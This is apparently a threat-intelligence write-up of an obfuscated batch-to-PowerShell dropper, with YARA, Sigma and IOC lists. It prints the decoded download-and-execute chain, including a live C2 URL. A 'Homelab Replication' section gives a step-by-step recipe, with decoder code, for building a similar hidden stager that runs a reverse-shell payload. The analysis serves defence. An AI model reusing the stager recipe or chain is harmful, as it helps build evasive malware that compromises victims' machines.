402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177unclassified-danish-batch-ps-dropper: 402879ff4b36 — Character-skip BAT→PowerShell downloader, Italian C2
Executive Summary
A 4.4 KB Windows batch script (123.bat) that wraps an obfuscated PowerShell one-liner. The PowerShell payload uses a custom character-skip cipher (Beting) to decode strings at runtime, downloads a Base64-wrapped second stage from an Italian bookshop domain, and reflectively executes a 22 KB payload extracted from a hardcoded offset inside the downloaded blob. No PE; CAPE cannot detonate text. Static-only inference.
What It Is
- File:
123.bat— DOS batch script masquerading as a benign numeric filename ^[file.txt] - Size: 4,429 bytes ^[file.txt]
- SHA-256:
402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177 - Artifact ID:
efedafa1-e720-43fd-ba00-8daba7f7a022(OpenCTI) ^[metadata.json] - OpenCTI labels:
bat,malware-bazaar^[metadata.json] - Format: Plain ASCII text, single line, semicolon-separated PowerShell commands ^[file.txt]
- CAPE: Skipped — unsupported binary class ^[dynamic-analysis.md]
The script is a first-stage stager. All threat logic lives in the inline PowerShell; the batch wrapper simply provides execution context and -windowstyle hidden.
How It Works
Outer wrapper
The batch file launches:
powershell.exe -windowstyle hidden "spsv ichoglanop; ..."
The first command stops a service named ichoglanop ^[strings.txt:1]. This is likely a previous-stage payload or a competing implant the operator wants cleared before running the new stage.
Obfuscation: the Beting cipher
The PowerShell defines two helper functions:
Beting($antileu)— extracts every 4th character starting at index 3 from a string literal. This is a trivial static-avoidance cipher: the visible string contains noise characters, and the real payload characters sit at positions 3, 7, 11, 15, etc. ^[strings.txt:1]Trstetrets($tilsk)— executes its argument viaIEX(Invoke-Expression) ^[strings.txt:1]
Decoded execution chain
| Step | Decoded string | Effect |
|---|---|---|
| 1 | $global:Dislo = $env:APPDATA + '\\Dolicho.Sol' |
Staging path for payload file |
| 2 | $global:Unitise = $udglatte.Split('%') |
Split URL list on % delimiter |
| 3 | $global:Deka = New-Object System.Net.WebClient |
Instantiate downloader |
| 4 | $deka.Headers['User-Agent'] = 'Mozilla/5.0 ... Firefox/143.0' |
Masquerade as Firefox 143 on Win10 x64 |
| 5 | [Net.ServicePointManager]::SecurityProtocol = Tls12 |
Force TLS 1.2 |
| 6 | $deka.DownloadFile($udglatte, $smsyninger116) |
Download from Italian C2 URL to staging path |
| 7 | Wait-loop with 4 s sleep; retries if file not present | Resilience against slow downloads |
| 8 | $global:Kost = Get-Content $smsyninger116 |
Read downloaded file |
| 9 | $global:Inter = [System.Convert]::FromBase64String($kost) |
Decode Base64 layer |
| 10 | $global:Lodd = [System.Text.Encoding]::ASCII.GetString($inter) |
Convert to ASCII |
| 11 | $global:Thalassom187 = $lodd.Substring(428386, 22190) |
Extract 22 KB payload at hardcoded offset |
| 12 | IEX $thalassom187 |
Reflectively execute the extracted payload |
^[strings.txt:1] (full chain decoded from static analysis)
Notable details
- URL:
https://libreriaduepuntozero.it/Partia.csv— the.csvextension is masquerade; the server returns executable content. ^[strings.txt:1] - User-Agent: A fabricated Firefox 143.0 string on Windows NT 10.0;
rv:143.0is a non-existent Firefox version, suggesting the actor copy-pasted a template and incremented the number without checking. ^[strings.txt:1] - Variable names: Predominantly Danish/Nordic (
driftssik,entrep,bille,raadsprgen,udglatte,whel47,agropy,apothegmat,giol,amiapse,trolddo,canstsm206,tolerer,totalo,duktili,gengive,galleri,outpayment,smsyninger116,anak,parti,thalassom187). This is a strong linguistic fingerprint. ^[strings.txt:1] - Offset/size: The payload is extracted from offset
428386with length22190. The outer Base64 file must therefore be at least ~450 KB, implying the.csvmasquerade hides a large blob that contains multiple payloads or extensive padding. ^[strings.txt:1]
C2 Infrastructure
- Primary URL:
https://libreriaduepuntozero.it/Partia.csv^[strings.txt:1] - Domain:
libreriaduepuntozero.it— registered to an Italian bookshop ("libreria due punto zero"). Likely compromised legitimate infrastructure, not attacker-registered. ^[strings.txt:1] - Protocol: HTTPS, TLS 1.2 enforced client-side ^[strings.txt:1]
- No fallback URLs: The
$unitisearray is built from a single URL split on%, which does not appear in the URL, so the array has exactly one element. No failover C2 observed. ^[strings.txt:1]
Interesting Tidbits
- The service name
ichoglanophas no known legitimate Windows service mapping; it is likely a random string used by a prior implant or a competing malware family. Stopping it before staging suggests operator awareness of prior infections. ^[strings.txt:1] - The
Betingcipher is trivially reversible — the noise characters are uniformly distributed and the real characters sit at a fixed stride. Any regex that extracts characters at positions 4n+3 from quoted strings inside a batch file would recover the plaintext. ^[strings.txt:1] - The
$mari=Compare-Object stormest beauinside theBetingloop is dead code — it assigns a comparison result to a variable never used. Its purpose is to pad the loop body and slow down naive static regex approaches. ^[strings.txt:1] - The
giolvalue (\\Dolicho.Sol) forms a filename that reads like a truncated or misspelled botanical term (Dolichos is a legume genus). Combined with Danish variable names, this suggests a non-native English speaker with a scientific or natural-history vocabulary. ^[strings.txt:1] - The payload offset (
428386) and length (22190) are hardcoded decimal literals, not computed at runtime. This means the outer blob must be pre-built to match these constants; changing the blob requires recompiling the stager. ^[strings.txt:1]
How To Mess With It (Homelab Replication)
Goal: Build a comparable batch→PowerShell stager that uses a character-skip cipher for string obfuscation.
Toolchain: Any text editor + PowerShell 5.1+ on Windows 10/11.
Steps:
- Write a PowerShell payload you want to stage (e.g., a simple reverse-shell or beacon script).
- Embed it inside a larger Base64 file at a known offset, padding with random noise before and after.
- Write a batch wrapper:
@echo off+powershell.exe -windowstyle hidden "...". - Implement a
Beting-style function:function Decode($s) { $out=''; for ($i=3; $i -lt $s.Length; $i+=4) { $out+=$s[$i] }; $out }. - Encode every sensitive string (URLs, paths, API calls) by inserting three noise characters before each real character.
- Add dead-code assignments inside the decoder loop to pad analysis time.
- Stage the Base64 blob on a local HTTPS server and verify the downloader retrieves, decodes, and extracts the payload at the correct offset.
Verification: Run the batch file in a VM; confirm %APPDATA%\Dolicho.Sol is written, then confirm the IEXed payload executes.
Deployable Signatures
YARA rule
rule bat_danish_char_skip_dropper {
meta:
description = "Danish-variable batch→PowerShell dropper with Beting character-skip cipher"
author = "pp-hermes"
date = "2026-06-14"
hash = "402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177"
confidence = "medium"
strings:
$bat_ps = "powershell.exe -windowstyle hidden" noc ascii
$func_beting = "function Beting" noc ascii
$func_trst = "function Trstetrets" noc ascii
$iex_alias = ".($agropy)" noc ascii
$ua_ff143 = "Firefox/143.0" noc ascii
$tls12 = "Tls12" noc ascii
$danish_var1 = "$driftssik=" noc ascii
$danish_var2 = "$udglatte=" noc ascii
$danish_var3 = "$smsyninger" noc ascii
$danish_var4 = "$thalassom" noc ascii
$offset = "$anak=428386" noc ascii
condition:
$bat_ps and $func_beting and $func_trst and
2 of ($danish_var*) and filesize < 10KB
}
Behavioral hunt (Sigma)
title: Danish Batch PowerShell Dropper Execution
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'powershell.exe -windowstyle hidden'
- 'function Beting'
- 'function Trstetrets'
condition: selection
falsepositives:
- Unknown
level: high
IOC list
| Indicator | Type | Note |
|---|---|---|
402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177 |
SHA-256 | Batch stager |
123.bat |
Filename | Original name |
https://libreriaduepuntozero.it/Partia.csv |
URL | Stage-1 download (likely compromised) |
%APPDATA%\Dolicho.Sol |
File path | Payload staging location |
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 |
User-Agent | Fabricated FF version |
ichoglanop |
Service name | Stopped at launch; unknown legitimate mapping |
Behavioral fingerprint
A batch script launches powershell.exe -windowstyle hidden with an inline script defining a Beting decoder function (character-skip cipher at stride 4) and a Trstetrets IEX executor. The script sets a Firefox 143.0 User-Agent, forces TLS 1.2, downloads a .csv file from an Italian HTTPS domain to %APPDATA%\Dolicho.Sol, Base64-decodes it, extracts a ~22 KB substring at offset 428386, and reflectively executes it via IEX.
Detection Signatures
| ATT&CK Technique | Evidence | Source |
|---|---|---|
| T1059.003 (Windows Command Shell) | Batch file launches PowerShell | ^[strings.txt:1] |
| T1059.001 (PowerShell) | Inline -windowstyle hidden script with IEX |
^[strings.txt:1] |
| T1105 (Ingress Tool Transfer) | Net.WebClient.DownloadFile to fetch remote payload |
^[strings.txt:1] |
| T1620 (Reflective Code Loading) | IEX executes payload extracted from Base64 blob without disk write |
^[strings.txt:1] |
| T1027 (Obfuscated Files or Information) | Beting character-skip cipher hides plaintext strings |
^[strings.txt:1] |
| T1070.004 (File Deletion) | spsv ichoglanop — stops and implicitly clears prior service |
^[strings.txt:1] |
References
- Artifact ID:
efedafa1-e720-43fd-ba00-8daba7f7a022 - OpenCTI labels:
bat,malware-bazaar - Related wiki pages: unclassified-danish-batch-ps-dropper, character-skip-cipher-powershell-obfuscation, batch-powershell-variable-expansion-obfuscation (different family, similar staging)
Provenance
- Static analysis from
strings.txt(the complete script body, single line, 4429 bytes) decoded with a Python regex reimplementation of theBetingcipher. file.txtconfirms ASCII text;pefile.txtconfirms not PE;binwalk.txtshows no embedded artifacts;capa.txtandfloss.txtboth failed because the sample is not a supported executable format.dynamic-analysis.mdconfirms CAPE skipped the sample.- No dynamic execution data available; all behavior inferred from static deobfuscation.